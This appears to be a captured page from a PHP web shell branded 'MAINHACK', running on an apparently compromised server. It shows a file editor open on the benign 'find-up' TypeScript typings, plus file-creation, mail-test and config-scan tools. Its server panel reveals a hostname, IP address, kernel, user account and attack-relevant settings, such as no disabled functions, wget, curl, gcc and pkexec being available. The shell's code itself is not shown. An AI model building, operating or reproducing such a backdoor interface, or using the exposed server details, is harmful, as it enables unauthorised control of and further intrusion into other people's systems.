[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.d.ts
import {Options as LocatePathOptions} from 'locate-path'; declare const stop: unique symbol; declare namespace findUp { interface Options extends LocatePathOptions {} type StopSymbol = typeof stop; type Match = string | StopSymbol | undefined; } declare const findUp: { /** Find a file or directory by walking up parent directories. @param name - Name of the file or directory to find. Can be multiple. @returns The first path found (by respecting the order of `name`s) or `undefined` if none could be found. @example ``` // / // └── Users // └── sindresorhus // ├── unicorn.png // └── foo // └── bar // ├── baz // └── example.js // example.js import findUp = require('find-up'); (async () => { console.log(await findUp('unicorn.png')); //=> '/Users/sindresorhus/unicorn.png' console.log(await findUp(['rainbow.png', 'unicorn.png'])); //=> '/Users/sindresorhus/unicorn.png' })(); ``` */ (name: string | string[], options?: findUp.Options): Promise<string | undefined>; /** Find a file or directory by walking up parent directories. @param matcher - Called for each directory in the search. Return a path or `findUp.stop` to stop the search. @returns The first path found or `undefined` if none could be found. @example ``` import path = require('path'); import findUp = require('find-up'); (async () => { console.log(await findUp(async directory => { const hasUnicorns = await findUp.exists(path.join(directory, 'unicorn.png')); return hasUnicorns && directory; }, {type: 'directory'})); //=> '/Users/sindresorhus' })(); ``` */ (matcher: (directory: string) => (findUp.Match | Promise<findUp.Match>), options?: findUp.Options): Promise<string | undefined>; sync: { /** Synchronously find a file or directory by walking up parent directories. @param name - Name of the file or directory to find. Can be multiple. @returns The first path found (by respecting the order of `name`s) or `undefined` if none could be found. */ (name: string | string[], options?: findUp.Options): string | undefined; /** Synchronously find a file or directory by walking up parent directories. @param matcher - Called for each directory in the search. Return a path or `findUp.stop` to stop the search. @returns The first path found or `undefined` if none could be found. @example ``` import path = require('path'); import findUp = require('find-up'); console.log(findUp.sync(directory => { const hasUnicorns = findUp.sync.exists(path.join(directory, 'unicorn.png')); return hasUnicorns && directory; }, {type: 'directory'})); //=> '/Users/sindresorhus' ``` */ (matcher: (directory: string) => findUp.Match, options?: findUp.Options): string | undefined; /** Synchronously check if a path exists. @param path - Path to the file or directory. @returns Whether the path exists. @example ``` import findUp = require('find-up'); console.log(findUp.sync.exists('/Users/sindresorhus/unicorn.png')); //=> true ``` */ exists(path: string): boolean; } /** Check if a path exists. @param path - Path to a file or directory. @returns Whether the path exists. @example ``` import findUp = require('find-up'); (async () => { console.log(await findUp.exists('/Users/sindresorhus/unicorn.png')); //=> true })(); ``` */ exists(path: string): Promise<boolean>; /** Return this in a `matcher` function to stop the search and force `findUp` to immediately return `undefined`. */ readonly stop: findUp.StopSymbol; }; export = findUp;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.42 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002